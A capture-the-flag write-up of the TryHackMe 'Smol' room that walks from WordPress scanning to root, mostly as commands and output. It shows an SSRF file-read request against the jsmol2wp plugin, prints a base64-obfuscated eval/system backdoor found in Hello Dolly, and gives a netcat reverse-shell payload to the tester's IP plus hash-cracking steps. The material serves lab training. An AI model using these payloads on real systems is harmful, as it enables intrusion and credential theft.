Post

TryHackMe: Smol

TryHackMe: Smol

Hey everyone! Today, I’m diving into the Smol room on TryHackMe. As the name suggests, it’s a small box, but it’s packed with fun challenges. Let’s fire up our terminals and see what we can find.

First things first, let’s set our target IP as an environment variable to make our lives easier.

1
export IP=10.10.108.1

🕵️‍♂️ Phase 1: Reconnaissance

Time for our trusty sidekick, nmap, to do its thing. We’ll run a full port scan with script and version detection to get a good look at the target.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ nmap -T4 -n -sC -sV -Pn -p- $IP
Starting Nmap 7.97 ( https://nmap.org ) at 2025-07-04 14:33 +0300
Nmap scan report for 10.10.108.1
Host is up (0.072s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://www.smol.thm
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.22 seconds

Our scan reveals two open ports: SSH (22) and HTTP (80). The HTTP title gives us a crucial clue: Did not follow redirect to http://www.smol.thm. This means we need to update our /etc/hosts file to resolve this domain name to the machine’s IP address.

Let’s point our browser to http://www.smol.thm and see what we get.

Desktop View

A wild WordPress site appears! Before we start poking around the admin panel, let’s do some directory fuzzing with gobuster to map out the site’s structure.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
❯ gobuster dir -w common.txt -u http://www.smol.thm/ -x md,js,html,php,py,css,txt,bak -t 30
===============================================================
Gobuster v3.7
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://www.smol.thm/
[+] Method:                  GET
[+] Threads:                 30
[+] Wordlist:                common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.7
[+] Extensions:              py,css,txt,bak,md,js,html,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 301) [Size: 0] [--> http://www.smol.thm/]
/license.txt          (Status: 200) [Size: 19915]
/readme.html          (Status: 200) [Size: 7409]
/server-status        (Status: 403) [Size: 277]
/wp-admin             (Status: 301) [Size: 315] [--> http://www.smol.thm/wp-admin/]
/wp-blog-header.php   (Status: 200) [Size: 0]
/wp-content           (Status: 301) [Size: 317] [--> http://www.smol.thm/wp-content/]
/wp-config.php        (Status: 200) [Size: 0]
/wp-cron.php          (Status: 200) [Size: 0]
/wp-includes          (Status: 301) [Size: 318] [--> http://www.smol.thm/wp-includes/]
/wp-load.php          (Status: 200) [Size: 0]
/wp-login.php         (Status: 200) [Size: 4537]
/wp-links-opml.php    (Status: 200) [Size: 225]
/wp-mail.php          (Status: 403) [Size: 2497]
/wp-settings.php      (Status: 500) [Size: 0]
/wp-trackback.php     (Status: 200) [Size: 135]
/wp-signup.php        (Status: 302) [Size: 0] [--> http://www.smol.thm/wp-login.php?action=register]
/xmlrpc.php           (Status: 405) [Size: 42]
Progress: 42651 / 42651 (100.00%)
===============================================================
Finished
===============================================================

The gobuster results confirm a standard WordPress layout. To get more juicy details, let’s unleash the king of WordPress security scanning: wpscan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
❯ docker run --mount type=bind,source=/etc/hosts,target=/etc/hosts,readonly -it --rm wpscanteam/wpscan --url http://www.smol.thm/
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.28
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://www.smol.thm/ [10.10.108.1]
[+] Started: Fri Jul  4 11:59:29 2025

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://www.smol.thm/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://www.smol.thm/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://www.smol.thm/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://www.smol.thm/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.7.1 identified (Outdated, released on 2024-11-21).
 | Found By: Rss Generator (Passive Detection)
 |  - http://www.smol.thm/index.php/feed/, <generator>https://wordpress.org/?v=6.7.1</generator>
 |  - http://www.smol.thm/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.7.1</generator>

[+] WordPress theme in use: twentytwentythree
 | Location: http://www.smol.thm/wp-content/themes/twentytwentythree/
 | Last Updated: 2024-11-13T00:00:00.000Z
 | Readme: http://www.smol.thm/wp-content/themes/twentytwentythree/readme.txt
 | [!] The version is out of date, the latest version is 1.6
 | [!] Directory listing is enabled
 | Style URL: http://www.smol.thm/wp-content/themes/twentytwentythree/style.css
 | Style Name: Twenty Twenty-Three
 | Style URI: https://wordpress.org/themes/twentytwentythree
 | Description: Twenty Twenty-Three is designed to take advantage of the new design tools introduced in WordPress 6....
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.2 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://www.smol.thm/wp-content/themes/twentytwentythree/style.css, Match: 'Version: 1.2'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] jsmol2wp
 | Location: http://www.smol.thm/wp-content/plugins/jsmol2wp/
 | Latest Version: 1.07 (up to date)
 | Last Updated: 2018-03-09T10:28:00.000Z
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.07 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:02 <=========================> (137 / 137) 100.00% Time: 00:00:02

[i] No Config Backups Found.

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Fri Jul  4 11:59:38 2025
[+] Requests Done: 171
[+] Cached Requests: 5
[+] Data Sent: 42.863 KB
[+] Data Received: 248.73 KB
[+] Memory used: 252.168 MB
[+] Elapsed time: 00:00:08

Jackpot! wpscan found an interesting plugin: jsmol2wp, last updated in 2018. An old plugin is like a “kick me” sign for hackers. A quick search reveals it’s vulnerable to a classic Server-Side Request Forgery (SSRF).

🔗 Vulnerability Link: https://wpscan.com/vulnerability/ad01dad9-12ff-404f-8718-9ebbd67bf611/

SSRF lets us trick the server into making requests on our behalf. We can use this to read local files. Let’s aim for the holy grail of WordPress configuration: wp-config.php.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
❯ curl 'http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php'
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** Database username */
define( 'DB_USER', 'wpuser' );

/** Database password */
define( 'DB_PASSWORD', '********************' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/

/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/* Add any custom values between this line and the "stop editing" line. */



/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

Success! We’ve got the database username (wpuser) and password. With these credentials, we can now log into the WordPress admin dashboard at /wp-admin.

Desktop View

We’re in!


🐚 Phase 2: Initial Foothold

My first thought was to get a reverse shell by editing a theme or plugin file, but the permissions were locked down tight. Time to enumerate more from within the admin panel. A post titled “private webmaster tasks” catches my eye.

Desktop View

The post mentions that the Hello Dolly plugin might have a backdoor. That’s… suspicious. Let’s use our SSRF vulnerability again to read the source code of hello.php.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
❯ curl 'http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-content/plugins/hello.php'

<?php
/**
 * @package Hello_Dolly
 * @version 1.7.2
 */
/*
Plugin Name: Hello Dolly
Plugin URI: http://wordpress.org/plugins/hello-dolly/
Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page.
Author: Matt Mullenweg
Version: 1.7.2
Author URI: http://ma.tt/
*/

function hello_dolly_get_lyric() {
	/** These are the lyrics to Hello Dolly */
	$lyrics = "Hello, Dolly
Well, hello, Dolly
It's so nice to have you back where you belong
You're lookin' swell, Dolly
I can tell, Dolly
You're still glowin', you're still crowin'
You're still goin' strong
I feel the room swayin'
While the band's playin'
One of our old favorite songs from way back when
So, take her wrap, fellas
Dolly, never go away again
Hello, Dolly
Well, hello, Dolly
It's so nice to have you back where you belong
You're lookin' swell, Dolly
I can tell, Dolly
You're still glowin', you're still crowin'
You're still goin' strong
I feel the room swayin'
While the band's playin'
One of our old favorite songs from way back when
So, golly, gee, fellas
Have a little faith in me, fellas
Dolly, never go away
Promise, you'll never go away
Dolly'll never go away again";

	// Here we split it into lines.
	$lyrics = explode( "\n", $lyrics );

	// And then randomly choose a line.
	return wptexturize( $lyrics[ mt_rand( 0, count( $lyrics ) - 1 ) ] );
}

// This just echoes the chosen line, we'll position it later.
function hello_dolly() {
	eval(base64_decode('CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA='));

	$chosen = hello_dolly_get_lyric();
	$lang   = '';
	if ( 'en_' !== substr( get_user_locale(), 0, 3 ) ) {
		$lang = ' lang="en"';
	}

	printf(
		'<p id="dolly"><span class="screen-reader-text">%s </span><span dir="ltr"%s>%s</span></p>',
		__( 'Quote from Hello Dolly song, by Jerry Herman:' ),
		$lang,
		$chosen
	);
}

// Now we set that function up to execute when the admin_notices action is called.
add_action( 'admin_notices', 'hello_dolly' );

// We need some CSS to position the paragraph.
function dolly_css() {
	echo "
	<style type='text/css'>
	#dolly {
		float: right;
		padding: 5px 10px;
		margin: 0;
		font-size: 12px;
		line-height: 1.6666;
	}
	.rtl #dolly {
		float: left;
	}
	.block-editor-page #dolly {
		display: none;
	}
	@media screen and (max-width: 782px) {
		#dolly,
		.rtl #dolly {
			float: none;
			padding-left: 0;
			padding-right: 0;
		}
	}
	</style>
	";
}

add_action( 'admin_head', 'dolly_css' );

Aha! Tucked inside the hello_dolly() function is this highly suspicious line. Using eval() on a base64 encoded string is the digital equivalent of wearing a trench coat indoors. Let’s decode it.

1
eval(base64_decode('CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA='));
1
2
3
echo 'CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA=' | base64 -d

 if (isset($_GET["\143\155\x64"])) { system($_GET["\143\x6d\144"]); } %

The decoded string is still obfuscated with octal and hex codes. Let’s decode those variable names.

1
2
❯ php -r 'echo "\143\155\x64" . ":" . "\143\x6d\144";'
cmd:cmd

As suspected, it’s a simple command execution backdoor! It checks for a GET parameter named cmd and executes its value using system(). How convenient!

The hello_dolly function is hooked to admin_notices, which means it runs on any page in the admin dashboard.

Desktop View

This is our entry point! We can simply browse to an admin page (like /wp-admin/index.php) and append our cmd parameter with a reverse shell payload.

First, let’s grab a BASH reverse shell payload from RevShells. Then, we’ll URL-encode it and add it to the URL.

Important: Using curl from the command line won’t work because we need an authenticated session. The easiest way is to paste the final URL directly into your browser while you’re logged into the WordPress admin panel.

1
2
3
4
5
6
# Set up a listener on your machine
nc -lvnp 4444

# Paste this URL into your browser (after logging in)
# Make sure to replace the IP and Port with your own!
curl 'http://www.smol.thm/wp-admin/index.php/?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%2010.21.206.128%204444%20%3E%2Ftmp%2Ff'

And we should get a shell! Let’s upgrade it to a fully interactive TTY.

1
2
3
4
5
6
# Upgrade the shell for a better experience
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm-256color
# Press CTRL+Z to background the shell
stty raw -echo;fg
reset

We are now logged in as www-data. Time to escalate our privileges.


🚀 Phase 3: Privilege Escalation

Let’s start by looking around the system as the www-data user.

1
2
3
4
5
6
7
8
www-data@smol:/home$ ls -la
total 24
drwxr-xr-x  6 root  root     4096 Aug 16  2023 .
drwxr-xr-x 18 root  root     4096 Mar 29  2024 ..
drwxr-x---  2 diego internal 4096 Aug 18  2023 diego
drwxr-x---  2 gege  internal 4096 Aug 18  2023 gege
drwxr-x---  5 think internal 4096 Jan 12  2024 think
drwxr-x---  2 xavi  internal 4096 Aug 18  2023 xavi

We see a few user directories, but we can’t access them because we’re not in the internal group. Let’s check the groups on the system.

1
2
3
4
5
www-data@smol:/home$ cat /etc/group
...
dev:x:1004:think,gege
internal:x:1005:diego,gege,think,xavi
...

The internal and dev groups look interesting. I ran linpeas.sh and it pointed out a potential Polkit vulnerability (CVE-2021-3560), but the exploit script didn’t work. Time for another approach.

Since we have the password for the wpuser database account, let’s connect to the MySQL database and see what we can find.

1
2
3
4
5
6
7
8
www-data@smol:/tmp$ mysql -u wpuser -p'******************' -D wordpress
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 419
Server version: 8.0.36-0ubuntu0.20.04.1 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

The wp_users table is always a goldmine.

1
2
3
4
5
6
7
8
9
10
11
12
13
mysql> select user_login, user_pass from wp_users;
+------------+------------------------------------+
| user_login | user_pass                          |
+------------+------------------------------------+
| admin      | $P$BH.CF15fzRj4li7nR19CHzZhPmhKdX. |
| wpuser     | $P$BfZjtJpXL9gBwzNjLMTnTvBVh2Z1/E. |
| think      | $P$BOb8/koi4nrmSPW85f5KzM5M/k2n0d/ |
| gege       | $P$B1UHruCd/9bGD.TtVZULlxFrTsb3PX1 |
| diego      | $P$BWFBcbXdzGrsjnbc54Dr3Erff4JPwv1 |
| xavi       | $P$BB4zz2JEnM2H3WE2RHs3q18.1pvcql1 |
+------------+------------------------------------+
6 rows in set (0.00 sec)

We’ve got password hashes for all the users! These are phpass (WordPress MD5) hashes, which hashcat can handle with mode 400. Let’s save them to a file and crack them with rockyou.txt.

1
2
3
4
5
6
# hashes.txt
admin:$P$BH.CF15fzRj4li7nR19CHzZhPmhKdX.
think:$P$BOb8/koi4nrmSPW85f5KzM5M/k2n0d/
gege:$P$B1UHruCd/9bGD.TtVZULlxFrTsb3PX1
diego:$P$BWFBcbXdzGrsjnbc54Dr3Erff4JPwv1
xavi:$P$BB4zz2JEnM2H3WE2RHs3q18.1pvcql1
1
2
3
4
❯ hashcat -m 400 -a 0 hashes.txt rockyou.txt
...
$P$BWFBcbXdzGrsjnbc54Dr3Erff4JPwv1:***************
...

hashcat makes short work of it and cracks diego’s password in seconds. Let’s switch users.

1
2
3
4
5
6
7
www-data@smol:/tmp$ su diego
Password: <cracked_password>
diego@smol:/tmp$ cd ~
diego@smol:~$ ls
user.txt
diego@smol:~$ cat user.txt
*********************************

User flag captured! Now let’s continue our journey to root.

Hopping from Diego to Think

Let’s check out the other user directories. In /home/think/.ssh, we find a private key. It seems think was a bit careless with file permissions, and we can read it!

1
2
3
4
5
6
7
diego@smol:/home/think/.ssh$ ls -al
total 20
drwxr-xr-x 2 think think    4096 Jun 21  2023 .
drwxr-x--- 5 think internal 4096 Jan 12  2024 ..
-rwxr-xr-x 1 think think     572 Jun 21  2023 authorized_keys
-rwxr-xr-x 1 think think    2602 Jun 21  2023 id_rsa
-rwxr-xr-x 1 think think     572 Jun 21  2023 id_rsa.pub

Let’s copy the id_rsa key to our machine, set the correct permissions, and SSH in as think.

1
2
3
chmod 400 think.ssh
❯ ssh think@$IP -i think.ssh
think@smol:~$

We’re in as think. On to the next hop!

Hopping from Think to Gege

This is where things get a little strange. I tried to su to gege on a whim, and…

1
2
think@smol:~$ su gege
gege@smol:/home/think$

It worked! No password needed. There must be a strange authorization rule at play. I’m not complaining, though!

Hopping from Gege to Xavi

In gege’s home directory, there’s a tantalizing wordpress.old.zip. A backup! But of course, it’s password-protected. Nothing a little zip2john and john can’t handle. Let’s get the file to our local machine to crack it.

1
2
3
4
5
6
7
8
9
10
# On the target machine (as gege)
gege@smol:~$ python3 -m http.server 8080

# On our local machine
❯ wget http://$IP:8080/wordpress.old.zip
❯ zip2john wordpress.old.zip > zip.hash
❯ john --wordlist=rockyou.txt zip.hash
...
**********@hotmail.com (wordpress.old.zip)
...

With the password cracked, we can unzip the file and inspect the old wp-config.php.

1
2
3
4
5
6
7
8
9
10
11
12
13
gege@smol:~$ unzip wordpress.old.zip
Archive:  wordpress.old.zip
   creating: wordpress.old/
[wordpress.old.zip] wordpress.old/wp-config.php password: <cracked_password>
...
gege@smol:~/wordpress.old$ cat wp-config.php
...
/** Database username */
define( 'DB_USER', 'xavi' );

/** Database password */
define( 'DB_PASSWORD', '*************' );
...

And what do we find? Credentials for the user xavi!

Hopping from Xavi to Root

Let’s switch to our new user, xavi, and see what privileges we have. A quick sudo -l reveals the ultimate prize.

1
2
3
4
5
6
7
8
9
10
gege@smol:~/wordpress.old$ su xavi
Password: <xavi's_password_from_config>
xavi@smol:/home/gege/wordpress.old$ sudo -l
[sudo] password for xavi:
Matching Defaults entries for xavi on smol:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User xavi may run the following commands on smol:
    (ALL : ALL) ALL

We have (ALL : ALL) ALL! We’ve hit the jackpot.

1
2
3
4
xavi@smol:/home/gege/wordpress.old$ sudo su
root@smol:/home/gege/wordpress.old$ cd /root
root@smol:~# cat root.txt
****************************

And we are root! Room pwned. Thanks for reading!

This post is licensed under CC BY 4.0 by the author.